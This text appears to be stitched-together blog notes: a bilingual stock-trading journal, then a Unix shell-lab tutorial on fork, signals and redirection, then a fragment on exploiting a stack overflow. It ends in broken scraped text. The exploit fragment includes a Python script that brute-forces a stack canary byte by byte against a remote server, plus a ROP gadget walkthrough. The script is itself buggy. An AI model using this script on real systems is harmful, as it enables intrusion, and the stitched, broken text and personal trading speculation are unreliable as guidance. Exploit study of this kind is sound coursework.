In the 3D chart, we can see the 3D candle test 20 EMA and be supported. It shows a 2-2 reversal as it is a support zone regarding to both key support zone(the grey area) and the 20 EMA for 3 day chart.

As we shift our attention to the daily chart, we can see a 2-1-3 reverse pattern form at the key support zone. And the first target has been hit. While I missed it, realize the daily candle cross 20 EMA on daily chart which is a bullish sign, we can set our target to next resistance zone which is around 360.

AAPL:

The RSI for aapl seems to be bullish but the uptrend is relatively flat. We can even spot the aapl stock market is mostly ranging and act like a symmetric triangle with a doji at the top. The 1w chart show candle below bolinger band mid-line, it is a 2-1-2 reverse pattern. So far so good, but! the current red candle break the 2U bar's low, it will either be a 2D candle or a 3 candle. Which is not a desired setup.

Look at the daily chart, the aVWAP act as a support. But no clear trend is given. uptrend for daily rsi is break so this should wait for clear reverse signal.

GOOGL

First we look at GOOGL weekly chart. There is an interesting phenomenon here, we spot a 2U-1-2D right at the Bollinger Band mid-line. While normal 2-1-2 with the last 2 bar break the 1 bar's low should be a reverse patter, here it is just a continuation pattern. The reasons behind this might be:

1. The 20 daily EMA might not be a resist zone, we should only consider the the key support/resistance zone.
2. The oscillator are not in the overbought zone, so this should not be a reverse pattern. (This might be wrong as reverse pattern reach key resistance as TSLA which oscillator does not show oversold is reversed.)
3. Or it is being resisted by the 0.5 line but is supported by the EMA line, so we should always wait for confirmation.

The daily chart show a bullish setup, but one warning sign is that it broke the bollinger band's high, so we should expect either the price will go down or it will range for a while. The dark green line is the 61.8% line, we should expect the price to hit it and reverse back to the 0.5 line and go back up again. So we should wait on googl to act.

VST:

In the morning, there is a huge profit entry point which is the low of second bar (a 1 bar), which followed by a 2D bar. The first target is set to the first 3U bar's low. Then, a 2D-1-2D bearish continuation confirm the bearish trend, so we should ignore the ranging there after. For today, I called META at the 6-8th bar which is a 2D-2u-3U, I mis-recognized it as a 2-2 reversal from bearish to bullish, and miss the 2U turned into a 3U. So I should open a short trade instead of a long one. Lost a lot of money here.

In the 15 minute chart, the first three k form a 2-1-2 reversal, and the target should be set to 202.99. so we should continue to hold that

TSLA 15 minutes chart:

The middle 1-2-2 reversal pattern is invalid as it is in a ranging period. The reversal pattern should also be in a trend. The last hour run down is also formed a 1-2-2 reversal pattern.

AMZN 15 minutes:

Multiple entry is marked. And clear signal is given, multiple confirm has been provided.

Conclusion: TSLA might have short-term short next week, but the uptrend is still valid in the long-term. One of the most important level is 338.70, if reach, we are expecting 320.03. These level are base on the trend line and the fib level.

From the daily chart, MACD has a dead cross upcoming, but there is a possibility MACD might pump up，histogram shows uptrend weakness.

OBV break previous uptrend trendline.

RSI have minor overbought signal, but it's already going down.

Buy signal has occur long time ago, and there is a lower high, so probably this is a bearish signal.

For KDJ, this is a even worse signal, lower high, while price keep rally up. Should started to sell.

做了一个swing的操作，一分钟图可以看出有一个收缩三角更重要的是早上花了一条support，现在support被破了所以是一个很bearish的setup。但是这里五分钟图和十五分钟看不出是一个收缩三角，所以这里破掉之后反而沿着下降趋势的resist震荡了很久，导致时间磨损非常严重。这里下面第一个支撑是看到云，我在到达云的上沿就离场了，实际上却踩到了下面的上升支撑线，并且反弹回resistance

可以看到之后五分钟图在跌破了下支撑后又突破了上阻力。但是看15分钟图不明显所以不应该有任何操作，最后尾盘跌破下支撑。但未跌破最下面那条上升支撑。

今天高点被高点aVWAP均线压着，说明空头依旧有优势。

SPY今天的高点去到了昨日低点，这个点也是早盘breakdown的点

这个意味着昨天这个点是多头的cost，但是早盘跌下去了证明那之后多头都在亏损，重新到这个点位之后很多多头选择止损。所以这里是一个强阻力。

AAPL: 回踩resist and going down

SPY: step back to rising wedge and then break down

因为目前hedge的long还没有减仓完，short也没建起来

1. 当日aVWAP的higher 2std线是一个很常用的阻力位
2. 昨日aVWAP的lower 1std线是一个很常用的支撑位
3. 当日第18根，40根通常意味着反转（not always true）
4. 1min图不能作为一个很好的看趋势线图，应该看5min/10min

如上图可见，并且我记得昨天也是swing一般都是在aVWAP的higher 2std线和aVWAP的lower 1std线中间完成的

比如说这张图，这里看上去有一个背离，但是后续依旧是一个bull，看五分钟的同一个位置：

可以看到这里根本没有背离，也不存在所谓的bear

5. 不要频繁操作

比如这里哪怕再正确也是几块几块的赚，而且一个不及时止盈/损 就会扩大亏损或者直接转盈为亏。

拉子这里也是看到wedge突破进去了，没过多久就要走，这其实没有意义，应该找大趋势。不然一会儿就被吓跑了。

看这里，15分钟图很明确，这整一天都是一个上涨趋势。特别是十一点的时候已经站上了34/50和5/12的mtf云，20 ema小时线在羡慕压着，这是一个很bullish的走法，通过前面两个点就可以确认今天的support trendline，之后要做的就是跌破就走。

SPY的五分钟线也是，一个trendline，只需要高点入场底线走就可以了

Lesson Learned

1. 当日aVWAP的higher 2std线是一个很常用的阻力位
2. 昨日aVWAP的lower 1std线是一个很常用的支撑位
3. 当日第18根，40根通常意味着反转（not always true）
4. 1min图不能作为一个很好的看趋势线图，应该看5min/10min
5. 不要频繁操作

来看看今天拉子股票复盘。开盘显示来了一波拉升，可以看到昨天盘后以及今日盘前都是一个稳定上涨的趋势。灰色的线是前天高点，可以看到五分钟图其实是没站稳并且在这里反弹的。这里做的比较好的是发现拉子拉这么高之后没有冲入场，显然此时离云太远还进去是不合理的。马上就可以看到有一波下跌回到mtf云的下沿 然后在mtf云的上沿震荡，这里没有明显趋势也不应该入场！

1. 没有明显趋势不应该入场
2. 离mtf云不适合入场

10-11:40可以看到这里有一个ascending triangle。并且突破了，这是一个bullish sign，可以入场，但是我却等到了pml突破才入场，这里其实有点晚了，蓝色线是长线resistance，所以这里有一个小反弹，没拿住被震了出去。这个时候被上升三角lower trendline support住了，所以其实不应该走，这里站稳甚至应该加仓。这里可以看出trendline slope 变陡。

3. 要有信仰！我太容易被骗走了☹️

13:00pm左右蓝色箭头处有一个背离，这里可以止盈了。然后接下来不应该做任何动作，这里哪怕要出场也应该等蓝线站稳回踩才应该put，因为没站稳所以这里也不应该操作，反而在接近两点可以call一下并在灰色线左右止盈。

这里的下降趋势太漂亮了，可惜我睡着了damn。如果要做的话，应该在灰色线部分入场，然后在蓝色线那里也是没踩稳，并且跌到云，在接近云下沿 反弹并且没踩稳的时候可以加仓，然后在进入50/34mtf云时止盈。

SPY

那两个黑箭头就是我买call并且止损的地方，不是，人连趋势都没走出来，你非要急着进去送钱，一开始虽然很多下影线，但是整体是一个下降趋势你居然敢冲进去call？？你止损的地方我也有点麻木了，五分钟图里可以看出来根本没站稳，你止损能不能至少五分钟十分钟站稳了确认跌破了再止损？你是觉得手续费不是钱吗？你现在生活也是好起来了哈。

4. 在五分钟/十分钟图看到确认跌破再止损

在这种range day的行情里可以确认支撑后玩云与支撑间的swing，这个支撑是大盘低点与高点的aVWAP 的 1std line，这个是强支撑。

突破下行通道后我们可以看目标位是突破位置向上看1.5，这里我们看到确实到了1.5上不去了这里就可以止盈了。

在之后2:00pm左右突破了PML，这里可以加put

看到这几个箭头了吗，多漂亮的底背离！！！！！！！！！我睡着了啊啊啊错过了草，这里call直接翻几倍啊啊啊啊啊啊哭了

Lesson Learned:

1. 没有明显趋势不应该入场
2. 离mtf云不适合入场
3. 要有信仰！我太容易被骗走了☹️
4. 在五分钟/十分钟图看到确认跌破再止损

在早盘时，我hold了一张上周买的put并在穿过云层踩稳20EMA时止盈了。这个时候是一个很bullish的图，我在此时买入了

在上涨过程中这里形成了一个descending triangle并且突破upper trendline, which is a bullish sign. 更加重要的是这个时候OBV已经走出了一个symmetric triangle并且突破了upper trend，这里甚至先于price的突破，但是可惜的是我这里不够坚定出掉了我的call。

这里可以画出一条support trend line一直在做支撑，中间走了一个bullish wedge也是一个bullish sign， 在high of Prior day踩稳后继续冲高，在昨日anchored aVWAP 的2std线受阻反弹

有意思的是此刻我画了一个expanding triangle 并且左侧做空一直在等向下突破，但是我并不确定这是对的，因为expanding triangle需要volumn上升，知道突破了也没过多久就回踩了。接下来我还是看跌，

但是由于我的flag画错了，我在箭头部位误以为向上突破买了一张call并止损了我的put。但即便如此这里波动也不高。最后我在整张图上找到一个 head&shoulder

蓝色的线是我的neckline。我在黑色箭头处入场，但是此时云在地下作为一个强支撑，此时是不适合入场的。

更重要的是这里： price有一个higher low，但是obv出现了一个lower low证明selling pressure降低，这是一个bullish sign所以此时就应该离场了。最后我在neckline被突破时止损。

这边可以观察到～20年3月9日有一个最低点，在涨到22年1月3日左右开始一轮回调，先试踩0.62线，回调2/3然后跳空低开破掉上次的位置再次试探，最终回落0.5实现反弹。

放大到0.5反弹后，黑线部分我还不知道为什么会受阻力。不过黑色箭头不分也是踩稳0.5反弹，先前阻力位站稳然后一直突破原先resistance后，由第一张图可以看出第二次的回踩到最高点的距离正是上一个低点到previous high的距离。

现在专注看第二段，走完整段后，由进行了一个回到0.5

这里可以识别到一个三推楔形, 所以这里我们也可以根据此推测这是一个end of bull trend.

通过看OBV可以看到，在下降趋势之前是一个uptrend，但是24年12月左右被突破并且25年1月左右有一次回踩并且反弹 这个时候应该exist并且开始做空

首先看到十一点左右有一次结合早盘的三推，三推定义为每一推的趋势都应该逐渐减弱，此时应该期待有一个大反弹。但是此时已经

1. 跌破mtf云
2. 两根阴线close在PML下方

这是一个非常bearish的setup，但是不应该选择put，此时ema20处于稍微靠下的地方，也就是一个强支撑，价格很可能下不去，所以此时应该选择观望，等待反弹或者ema20跌破。所以这个时候！！昨天熟悉的带着下影线的大阴柱出现，这意味着机构低吸。所以等待下两根绿线出现，踩稳PML，此时本可以作为第一个入点，小仓位试探，紧接着有一次回调站稳mtf云下沿可以尝试第二次入场，突破mtf 云后有一次小回调站稳mtf云上沿可以作为第三次入场。与此同时OBV Ocillator都是正值所以也比较安全。价格到达PMH可以止盈一部分，此时价格突破并且小回调是一个利好，所以runner可以继续。

Interestingly，我们可以发现价格一直在背昨日vwap压着。（need future verification if this is related.）

然后仔细看后面每次升幅趋势都会变小，盘后突然拉高可能意味着机构想要出货。所以这也是一个好的put的点。我在靠近Pre Market High并且刚有一根小阴柱的时候入场了，这个时候时机太早，那根阴柱有下影线但几乎没有上影线证明买盘获胜， 且阴柱过后第二根阳k直接突破了PMH。

今天我在10:20最高点买入股票， 买入逻辑是已经触碰PML（Pre-Market Low）并且触及5/12云的下沿，前一根k线有长上影线， 暗示buy attempt。并且前一个绿色k线明显high volume，这根线当往下时volume减少。

这不是一个好的入场点。早上开盘第一根阳线有长下影线 说明卖方下探被快速拉起 但同时也有小上影线 说明多空交战不适合入场。第二根k线马上上探上根阳线前高341遇阻力， 往下拉，此时没有下影线，意味着空头获胜。

当我10:20入场时339.64盈亏比非常差，最好的情况是回到当日最高， 差不多云层上沿站稳 341.81， 然而止损为当日最低336.89（当然这个止损位也是错误的，我将在一会儿细说）。

1. 做多需要止跌回升的才入场，之前都是在上升 不要中途入场！
2. 触及云的下沿要有明显的反弹趋势才说明支撑有效，而且下面马上跟着mtf cloud，需要走到mtf cloud里再call 不能急
3. 前一个K线并没有成功突破开盘前两个bar的高点，说明突破失败了，还在震荡区间里，然后这跟K线是体积很大的bear bar是不适合做多的，更大概率要去测试震荡区间下沿
4. 长上影线都不太适合直接call
5. 应该等回踩到重要support（前低or趋势线）
6. 画好箱体上下沿，等到中轴再考虑回转

出场点

下破伴随量 = 继续下跌 只在下降趋势中成立， 如果整体还是箱体/盘整，第一次放量下跌反而是吸筹

1. 仅有一根阴线 应该等至少两根确认， 需要确认跌破后回踩不站回
2. 伴随长下影线，证明空头失败，被迅速拉回吸筹

看图tsla在11am到13pm有非常漂亮的AIL(all in long)每次回踩然后继续上行 非常漂亮。

Lesson learned：

1. 通过30min/60min图看趋势，不要overtrade
2. 通过5min图确认range day/trend day
3. 进场
   1. 等价格靠近区间边缘+缩量+pin bar/双底
4. 出场
   1. range day：先看中轴 再看箱子另一侧
   2. 若看到放量长下影 而不是放量实体箱子，不要恐慌出售！

In parallel programming, especially when we are focusing system running multiple processes at the same time, the child process becomes an important part of it.

Illustration of parent & child process (reference: cmu 15213 slide)

A child process is created using pid = fork() . When pid==3 , it means that we are still in the parent function (or, we can say at the parent branch) and the process ID of the parent process is 3. However, when pid=0 , we know that currently, we are in the child branch. So, now we can use this code in the same function to determine if we are running code for a child process or the parent process.

if ((pid = fork()) == 0){
  // Child
  child_process_function();
} else {
  // Parent
  parent_process_function();
}

Make Child Process to Execute Some Function

Now, we want to build a shell. Instead of letting my parent process deal with all the system functions like "usr/bin/sleep" or "/bin/ls", I would rather let it run the main logic. For example, the most important job it should do is to parse the input argument and determine what is the BUILDIN function and what is not, instead of doing all the functions that exist in the library! We want the child process to do it, and since the function has been well written and provided in the library, we don't have to write "usr/bin/sleep" or "/bin/ls" again. So now we are introducing execve().

if ((pid = fork()) == 0){
  // Child
  execve("bin/ls", argv, environ); 
  /* argv is the argument for function bin/ls */
}

Note: What is the environ? environ is a global variable in c. According to https://man7.org/linux/man-pages/man7/environ.7.html, it contains name of the log-in user, the path to the user log-in shell, and etc.

But, the child process does not reap itself, if no one reaps it, it becomes a zombie process until the parent process ends and is reaped by kernel code. You don't want your computer world to be full of zombies 😼.

Signals

Great! Then how to reap a child when I create one?

pid_t waitpid(pid_t pid, int *status_ptr, int options);
wait()

That's convenient. But what if I want to know why the state change? What is the cause of death? Answer: Status! Does that seem familiar? waitpid(-1, &status, NULL).

Option:

• WCONTINUED
  Reports the status of any continued child processes as well as terminated ones. The WIFCONTINUED macro lets a process distinguish between a continued process and a terminated one.
• WNOHANG
  Demands status information immediately. If status information is immediately available on an appropriate child process, waitpid() returns this information. Otherwise, waitpid() returns immediately with an error code, indicating that the information was not available. In other words, WNOHANG checks child processes without causing the caller to be suspended.
• WUNTRACED
  Reports on stopped child processes as well as terminated ones. The WIFSTOPPED macro lets a process distinguish between a stopped process and a terminated one.

Now I know the cause of death. Can I do something according to the different causes? For example, if I want to let the child remain as a zombie if it is just stopped so that I can revive(SIGCONT) it later? And, I would like to delete the child from my list when it is dead(SIGINT or finished and exit). Use below to check!

• WIFEXITED(*status_ptr)
  This macro evaluates to a nonzero (true) value if the child process ended normally (that is, if it returned from main(), or else called the exit() or uexit() function).
• WEXITSTATUS(*status_ptr)
  When WIFEXITED() is nonzero, WEXITSTATUS() evaluates to the low-order 8 bits of the status argument that the child passed to the exit() or uexit() function, or the value the child process returned from main().
• WIFSIGNALED(*status_ptr)
  This macro evaluates to a nonzero (true) value if the child process ended because of a signal that was not caught.
• WTERMSIG(*status_ptr)
  When WIFSIGNALED() is nonzero, WTERMSIG() evaluates to the number of the signal that ended the child process.
• WIFSTOPPED(*status_ptr)
  This macro evaluates to a nonzero (true) value if the child process is currently stopped. You should only use this macro after a waitpid() with the WUNTRACED option.
• WSTOPSIG(*status_ptr)
  When WIFSTOPPED() is nonzero, WSTOPSIG() evaluates to the number of the signal that stopped the child.
• WIFCONTINUED(*status_ptr)
  Special Behavior for XPG4.2: This macro evaluates to a nonzero (true) value if the child process has continued from a job control stop. You should only use this macro after a waitpid() with the WCONTINUED option.

As such, we can use below code inside the sigchild_handler to ask it to behave different way according to different status that cased sigchild to be signal.

        if (WIFSTOPPED(status)) {
            // Job is stopped by sigstp. 
            sio_printf("Job [%d] (%d) stopped by signal %d\n",
                       job_from_pid(pid), pid, WSTOPSIG(status));
        } else if (WIFSIGNALED(status)) {
            // job is terminated by sigint.
            sio_printf("Job [%d] (%d) terminated by signal %d\n",
                       job_from_pid(pid), pid, WTERMSIG(status));
        } else if (WIFEXITED(status)) {
            // Child is finished and exit normally
            // Delete the child from the job list
            delete_job(job_from_pid(pid)); 
        }

But forking and reaping are expensive! And so we are going to use Thread which will be another post content ;)

Signal Mask

As mentioned above, the child would send the signal to the parent when it exit. The default action of the parent is to ignore it. When the user uses Ctrl+c, the process would get a SIGINT signal and the process would be terminated. What if we don't want the process to terminate right now since a child of it is running in the background? What if we are reading a file and we want the process to terminate after finish reading?

We can block the signal until we finish what we want to do! When we finish, we can just unblock using sigprocmask to set the mask back to what it was. One thing that needs to be noticed is that when the signal, let's say SIGINT, is blocked, and during it was blocked, a user triggers SIGINT twice, so SIGINT is sent two times. After we unblock SIGINT, only one SIGINT will be received.

use sigprocmask to set which signal to block, and unblock it.

sigemptyset(&mask);
sigaddset(&mask, SIGINT);

/* Block SIGINT and save previous blocked set */
sigprocmask(SIG_BLOCK, &mask, &prev_mask);

...

/* Restore previous blocked set, unblocking SIGINT */
sigprocmask(SIG_SETMASK, &prev_mask, NULL);

note: It is not possible to block SIGKILL or SIGSTOP.

What if we want to wait until a signal is changed?

while (!pid)
    pause();

This is incorrect because if the signal is received between pid check and pause, then we are not able to see the signal change. sleep() also does not work because this takes too much time. So the correct way is:

while (!pid)
  sigsuspend(&prev_all);

sigsuspend(mask) temporarily replaces the signal mask of the calling thread with the mask given by mask and then suspends the thread until delivery of a signal whose action is to invoke a signal handler or to terminate a process. [source]

Input/Output Redirection

if (infile != NULL) {
    int fd_in = open(infile, O_RDONLY, 0);
    if (fd_in < 0) {
        sio_eprintf("%s: %s\n", infile, strerror(errno));
        exit(1);
    }
    dup2(fd_in, STDIN_FILENO);
    close(fd_in);
}
// if has output file
if (outfile != NULL) {
    int fd_out =
        open(outfile, O_WRONLY | O_CREAT | O_TRUNC, 0666);
    if (fd_out < 0) {
        sio_eprintf("%s: %s\n", outfile, strerror(errno));
        exit(1);
    }
    dup2(fd_out, STDOUT_FILENO);
    close(fd_out);
}

open(infile, O_RDONLY, 0) here meaning create a file descripter pointing to the the infile in read-only mode, since we are only need to read the file to get the content in it as input.

For dup2(old_fd, new_fd) we are making the new_fd points to the open file table entry that old_fd is pointing to.

(reference: cmu 15213 slide)

So we are making STDIN_FIENO to point to the open file table entry that fd_in is pointing to. To be more specific, the open file table for infile.

Same reason apply to the output section. By using dup2(fd_out, STDOUT_FILENO); we are making the standard out file points to fd_out which contains the output file we desired. Going back to fd_out = open(outfile, O_WRONLY | O_CREAT | O_TRUNC, 0666) , the fd_out fild descriptor is pointing to open table entry that

• O_WRONLY: open for writing only
• O_CREAT: If pathname does not exist, create it as a regular file.
• O_TRUNC: all the contents of the file will be deleted, but not the file itself. So you start fresh and write the content you want. condition: need to be a WRONLY file.

Simulator

In summary, we can utilize child process with execv function to let it executed background job, e.g. those add '&' at the end of the command. While for foreground job, we should use sigsuspend to hang the code until it finish executing. For input/output redirection, we use file descriptor to manipulate where the flow should go.

In this case, we can use code as Reference here.

 80488f3:       ff f4                   push   esp
 8048900:       8b 1c 24                mov    ebx,DWORD PTR [esp]
 8048903:       c3                      ret

This code first pushes the current value of rsp to the stack, at the same time, this can cause rsp decrease 1.

Then we let rbx be the current rsp pointer.

The third line of code ret then go to the address where rsp is currently pointing to.

Brute Force the Canary

If there is a read() function in the code where read() also determines the number of bytes of the input is taking effect, we have to take that into consideration.

# Brute Force every byte of the canary
def brute_force(num, prev_input):
    # Try all hex from 0 to 256
    for i in range(256):
        c = bytes([i])
        # Concatenate padding with newly added HEX
        input = prev_input.encode() + c
        # f is the code that connects to the remote server
          # and return the output of that server
        recv = f(num, input)
        # If "you said something is in the output", we successfully find the correct canary
        if b"something" in recv:
            print(f"Found canary: {c}")
            return input
    return None

# padding is 128 bytes
input = "a"*128
# canary has 4 bytes, find one byte at a time, and use the found canary to find the next byte
for i in ["129", "130", "131", "132"]:
    newinput = brute_force(input)
    if newinput is None:
        print("Failed to find canary")
        break
    input = newinput

When the Stack is not executable, use PLT

What is PLT/GOT?

From time to time, when disassembling x86 binaries, I stumble on reference to PLT and GOT, especially when calling procedures from a dynamic library. For example, when running a program in gdb: (…

Reverse Engineering Stack Exchangeperror

third